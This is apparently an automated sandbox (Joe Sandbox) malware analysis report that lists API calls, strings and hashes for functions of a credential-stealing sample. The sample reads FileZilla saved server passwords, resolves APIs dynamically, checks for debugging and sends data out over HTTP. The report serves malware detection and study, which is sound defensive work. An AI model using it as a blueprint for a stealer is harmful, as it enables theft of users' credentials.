lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EECE
memset.MSVCRT ref: 0040EF17

Strings

password: , xrefs: 0040EE3B
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040EAE4
<Host>, xrefs: 0040EBBC
<User>, xrefs: 0040EC50
browser: FileZilla, xrefs: 0040ED99
login: , xrefs: 0040EE0A
profile: null, xrefs: 0040EDA8
url: , xrefs: 0040EDB7
<Pass encoding="base64">, xrefs: 0040EC9A
<Port>, xrefs: 0040EC06

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: 51e38b3e75a35db3b2e8eae3efcce3a8ce368b427fe340245d1fe3135a35d156
Instruction ID: d9186ee441f73b04c887f2efee86d04259a2264df0fa853aa1509dbc15227f06
Opcode Fuzzy Hash: 51e38b3e75a35db3b2e8eae3efcce3a8ce368b427fe340245d1fe3135a35d156
Instruction Fuzzy Hash: 3FD174B5D00208ABCB14EBF1DD56EEE7739AF44304F50851EF106B6095DF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00415ED0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00A3DBD8), ref: 00415F11
GetProcAddress.KERNEL32(74DD0000,00A3DD10), ref: 00415F2A
GetProcAddress.KERNEL32(74DD0000,00A3DBA8), ref: 00415F42
GetProcAddress.KERNEL32(74DD0000,00A3DCB0), ref: 00415F5A
GetProcAddress.KERNEL32(74DD0000,00A3DC50), ref: 00415F73
GetProcAddress.KERNEL32(74DD0000,00A53B08), ref: 00415F8B
GetProcAddress.KERNEL32(74DD0000,00A36EE8), ref: 00415FA3
GetProcAddress.KERNEL32(74DD0000,00A370C8), ref: 00415FBC
GetProcAddress.KERNEL32(74DD0000,00A3DC38), ref: 00415FD4
GetProcAddress.KERNEL32(74DD0000,00A3DB78), ref: 00415FEC
GetProcAddress.KERNEL32(74DD0000,00A3DCC8), ref: 00416005
GetProcAddress.KERNEL32(74DD0000,00A3DE18), ref: 0041601D
GetProcAddress.KERNEL32(74DD0000,00A36F28), ref: 00416035
GetProcAddress.KERNEL32(74DD0000,00A3DE30), ref: 0041604E
GetProcAddress.KERNEL32(74DD0000,00A3DE48), ref: 00416066
GetProcAddress.KERNEL32(74DD0000,00A37268), ref: 0041607E
GetProcAddress.KERNEL32(74DD0000,00A3DC68), ref: 00416097
GetProcAddress.KERNEL32(74DD0000,00A3DC20), ref: 004160AF
GetProcAddress.KERNEL32(74DD0000,00A37188), ref: 004160C7
GetProcAddress.KERNEL32(74DD0000,00A3DB60), ref: 004160E0
GetProcAddress.KERNEL32(74DD0000,00A37088), ref: 004160F8
LoadLibraryA.KERNEL32(00A3DBC0,?,004136C0), ref: 0041610A
LoadLibraryA.KERNEL32(00A3DCE0,?,004136C0), ref: 0041611B
LoadLibraryA.KERNEL32(00A3DD40,?,004136C0), ref: 0041612D
LoadLibraryA.KERNEL32(00A3DDB8,?,004136C0), ref: 0041613F
LoadLibraryA.KERNEL32(00A3DBF0,?,004136C0), ref: 00416150
GetProcAddress.KERNEL32(75A70000,00A3DD58), ref: 00416172
GetProcAddress.KERNEL32(75290000,00A3DD88), ref: 00416193
GetProcAddress.KERNEL32(75290000,00A3DC08), ref: 004161AB
GetProcAddress.KERNEL32(75BD0000,00A3DDA0), ref: 004161CD
GetProcAddress.KERNEL32(75450000,00A370E8), ref: 004161EE
GetProcAddress.KERNEL32(76E90000,00A53BB8), ref: 0041620F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00416226

Strings

NtQueryInformationProcess, xrefs: 0041621A

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction ID: 1024ce913f91588aaf476b7e35ab3ad31cc185c195c2877b0ef9f81f7e935ec9
Opcode Fuzzy Hash: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction Fuzzy Hash: 4CA16FB5910E10AFC374DFA8FE88A1637BBBBCC3117116519A60AC72A0DF759482CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404DC0 Relevance: 54.8, APIs: 22, Strings: 9, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

lstrlen.KERNEL32(00000000), ref: 00404E4A

Part of subcall function 004155A0: CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
StrCmpCA.SHLWAPI(?,00A53D08), ref: 00404ED9
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FF4
HttpOpenRequestA.WININET(00000000,00A53D68,?,00A5B0E8,00000000,00000000,00400100,00000000), ref: 00405058

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,00A5B900,00000000,?,00A39AB0,00000000,?,0041E098,00000000,?,00410996), ref: 004053EB
lstrlen.KERNEL32(00000000), ref: 004053FF
GetProcessHeap.KERNEL32(00000000,?), ref: 00405410
RtlAllocateHeap.NTDLL(00000000), ref: 00405417
lstrlen.KERNEL32(00000000), ref: 0040542C
memcpy.MSVCRT ref: 00405443
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 0040545D
memcpy.MSVCRT ref: 0040546A
lstrlen.KERNEL32(00000000), ref: 0040547C
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405495
memcpy.MSVCRT ref: 004054A5
lstrlen.KERNEL32(00000000,?,?), ref: 004054C2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004054D6
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00405501
InternetCloseHandle.WININET(00000000), ref: 00405565
InternetCloseHandle.WININET(00000000), ref: 00405572
InternetCloseHandle.WININET(00000000), ref: 0040557C

Strings

J&f, xrefs: 00405029
--, xrefs: 00404F34
------, xrefs: 004051AD
------, xrefs: 0040506B
------, xrefs: 00404F4B
", xrefs: 004053BA
", xrefs: 00405278
", xrefs: 00405136
------, xrefs: 004052EF

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------$J&f
API String ID: 1133489818-3705675087
Opcode ID: 2b724f55b72b24b1365f66d7964547ffa0d41d0f10c3ce158c4f437ce56bcb65
Instruction ID: 5eac6181e64dcc8a416a420aa9bf91bf90c69560f183aa6c55bc1ab780bc5ff6
Opcode Fuzzy Hash: 2b724f55b72b24b1365f66d7964547ffa0d41d0f10c3ce158c4f437ce56bcb65
Instruction Fuzzy Hash: 55324375920218ABCB14EBA1DC51FEEB779BF54704F40419EF10662091DF38AB89CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: 47.7, APIs: 19, Strings: 8, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004056A8
StrCmpCA.SHLWAPI(?,00A53D08), ref: 004056C3
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405843
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,00A5B9C0,00000000,?,00A39AB0,00000000,?,0041E0D8), ref: 00405B1E
lstrlen.KERNEL32(00000000), ref: 00405B2F
GetProcessHeap.KERNEL32(00000000,?), ref: 00405B40
HeapAlloc.KERNEL32(00000000), ref: 00405B47
lstrlen.KERNEL32(00000000), ref: 00405B5C
memcpy.MSVCRT ref: 00405B73
lstrlen.KERNEL32(00000000), ref: 00405B85
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405B9E
memcpy.MSVCRT ref: 00405BAB
lstrlen.KERNEL32(00000000,?,?), ref: 00405BC8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405BDC
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405BF9
InternetCloseHandle.WININET(00000000), ref: 00405C5D
InternetCloseHandle.WININET(00000000), ref: 00405C6A
HttpOpenRequestA.WININET(00000000,00A53D68,?,00A5B0E8,00000000,00000000,00400100,00000000), ref: 004058A8

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00405C74

Strings

J&f, xrefs: 00405878
-A, xrefs: 00405620, 00405D27, 00405623
------, xrefs: 004058BB
", xrefs: 00405985
------, xrefs: 00405746
", xrefs: 00405AC6
------, xrefs: 004059FC
-A, xrefs: 0040566F, 00405D14, 004056F7, 00405700, 0040576E, 004057E5, 004058E3, 00405A24, 00405771, 004057E8, 004058E6, 00405A27

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$-A$-A$J&f
API String ID: 148854478-1022722094
Opcode ID: 5c9e0c0cc2839d26b7767e23d9af607a48d8de010caa5cdd1e03388912901b74
Instruction ID: 38116f3ce93ed53bffdba46f35b2307ef6cb7c9f678a3856a9fc947e80efe624
Opcode Fuzzy Hash: 5c9e0c0cc2839d26b7767e23d9af607a48d8de010caa5cdd1e03388912901b74
Instruction Fuzzy Hash: A0125175920218AACB14EBA1DC95FDEB739BF14304F41429EF10A63091DF386B89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040A030 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A362
RtlAllocateHeap.NTDLL(00000000), ref: 0040A369
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A14A

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,00A53B28,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrcat.KERNEL32(?,00000000), ref: 0040A4AA
lstrcat.KERNEL32(?,0041DA80), ref: 0040A4B9
lstrcat.KERNEL32(?,00000000), ref: 0040A4CC
lstrcat.KERNEL32(?,0041DA84), ref: 0040A4DB
lstrcat.KERNEL32(?,00000000), ref: 0040A4EE
lstrcat.KERNEL32(?,0041DA88), ref: 0040A4FD
lstrcat.KERNEL32(?,00000000), ref: 0040A510
lstrcat.KERNEL32(?,0041DA8C), ref: 0040A51F
lstrcat.KERNEL32(?,00000000), ref: 0040A532
lstrcat.KERNEL32(?,0041DA90), ref: 0040A541
lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,0041DA94), ref: 0040A563

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0040A5AC
lstrcat.KERNEL32(?,0041DA98), ref: 0040A5C6
lstrlen.KERNEL32(?), ref: 0040A605
lstrlen.KERNEL32(?), ref: 0040A614
memset.MSVCRT ref: 0040A65D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

DeleteFileA.KERNEL32(00000000), ref: 0040A689

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: a8d9444840f4175c87163672a876e3c223c64044838d4e091280a3a205a7eef3
Instruction ID: c7be15c6cc4abab23e8f274795eadccbdda502ec8511485448b77053ecd04baf
Opcode Fuzzy Hash: a8d9444840f4175c87163672a876e3c223c64044838d4e091280a3a205a7eef3
Instruction Fuzzy Hash: B0029475900208ABCB14EBA1DC96EEE773ABF14305F11415EF507B6091DF38AE85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C640 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,00A5BC38,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C6D3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040C817
RtlAllocateHeap.NTDLL(00000000), ref: 0040C81E
lstrcat.KERNEL32(?,00000000), ref: 0040C958
lstrcat.KERNEL32(?,0041DBD8), ref: 0040C967
lstrcat.KERNEL32(?,00000000), ref: 0040C97A
lstrcat.KERNEL32(?,0041DBDC), ref: 0040C989
lstrcat.KERNEL32(?,00000000), ref: 0040C99C
lstrcat.KERNEL32(?,0041DBE0), ref: 0040C9AB
lstrcat.KERNEL32(?,00000000), ref: 0040C9BE
lstrcat.KERNEL32(?,0041DBE4), ref: 0040C9CD
lstrcat.KERNEL32(?,00000000), ref: 0040C9E0
lstrcat.KERNEL32(?,0041DBE8), ref: 0040C9EF
lstrcat.KERNEL32(?,00000000), ref: 0040CA02
lstrcat.KERNEL32(?,0041DBEC), ref: 0040CA11
lstrcat.KERNEL32(?,00000000), ref: 0040CA24
lstrcat.KERNEL32(?,0041DBF0), ref: 0040CA33

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,00A53B28,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(?), ref: 0040CA7A
lstrlen.KERNEL32(?), ref: 0040CA89
memset.MSVCRT ref: 0040CAD2

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

DeleteFileA.KERNEL32(00000000), ref: 0040CAFE

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: ab3cf3127945e93a31887fc6fbadfee70b9931ac23f1eebb02614344ac9da260
Instruction ID: d19a215fe10c8d685073d70632a82ede6d900fe39af11de2b9913f634a463049
Opcode Fuzzy Hash: ab3cf3127945e93a31887fc6fbadfee70b9931ac23f1eebb02614344ac9da260
Instruction Fuzzy Hash: B1E15275910208ABCB14EBA1DD96EEE773ABF14305F11415EF107B6091DF38AE85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404540 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004045D5
StrCmpCA.SHLWAPI(?,00A53D08), ref: 004045FA
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040477A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,0041D797,00000000,?,?,00000000,?,",00000000,?,00A53CA8), ref: 00404AA8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404AC4
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404AD8
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404B09
InternetCloseHandle.WININET(00000000), ref: 00404B6D
InternetCloseHandle.WININET(00000000), ref: 00404B85
HttpOpenRequestA.WININET(00000000,00A53D68,?,00A5B0E8,00000000,00000000,00400100,00000000), ref: 004047D5

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00404B8F

Strings

J&f, xrefs: 004047A5
------, xrefs: 0040467D
", xrefs: 004048B2
------, xrefs: 00404929
------, xrefs: 004047E8
", xrefs: 004049F3

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$J&f
API String ID: 460715078-2398766951
Opcode ID: 0df9f32e5278dc4d4b54a12e962fb8ce09c3fc8b8aca03b6f1049cc49b891b97
Instruction ID: e2fbf7176fc7eb33215a1d8fdd4a82cafc16ed7ff926df7fa74fdc4e30892001
Opcode Fuzzy Hash: 0df9f32e5278dc4d4b54a12e962fb8ce09c3fc8b8aca03b6f1049cc49b891b97
Instruction Fuzzy Hash: F21252769102189ACB14EB91DC92FDEB739AF54308F51419EF10672491DF38AF89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00414AE0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 179
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

RegOpenKeyExA.KERNEL32(00000000,00A56010,00000000,00020019,00000000,0041D289), ref: 00414B41
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

?, xrefs: 00414B17
%s\%s, xrefs: 00414BEA
- , xrefs: 00414D40

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: f6e0eab30693271b04e7c98ffcad0d27e71a2ac3b624bd011c70877e83e42956
Instruction ID: fbc8112ab3bfbfb2fdc98052a2813d45c496b4d84dbcb1503bfdf8522ef193f5
Opcode Fuzzy Hash: f6e0eab30693271b04e7c98ffcad0d27e71a2ac3b624bd011c70877e83e42956
Instruction Fuzzy Hash: F1712A7590021C9BDB64DB60DD91FDA77B9BF88304F0086D9A109A6180DF74AFCACF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040F630 Relevance: 19.8, APIs: 13, Instructions: 298stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F667
strtok_s.MSVCRT ref: 0040FA8F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,00A53B28,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: bfa52de86468f06c75ce6d1a715682b1cd9076c0a6941fb9bd0619d7694f907c
Instruction ID: 2b3dd8003c7db60ae6f20250f168b485c10b0cdbdb2f80ad8031a0e3e82ebbeb
Opcode Fuzzy Hash: bfa52de86468f06c75ce6d1a715682b1cd9076c0a6941fb9bd0619d7694f907c
Instruction Fuzzy Hash: B4C1A7B5900619DBCB24EF60DC89FDA7779AF58304F00459EE40DA7191DB34AAC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004012D0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004012E7

Part of subcall function 00401260: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
Part of subcall function 00401260: HeapAlloc.KERNEL32(00000000), ref: 0040127B
Part of subcall function 00401260: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
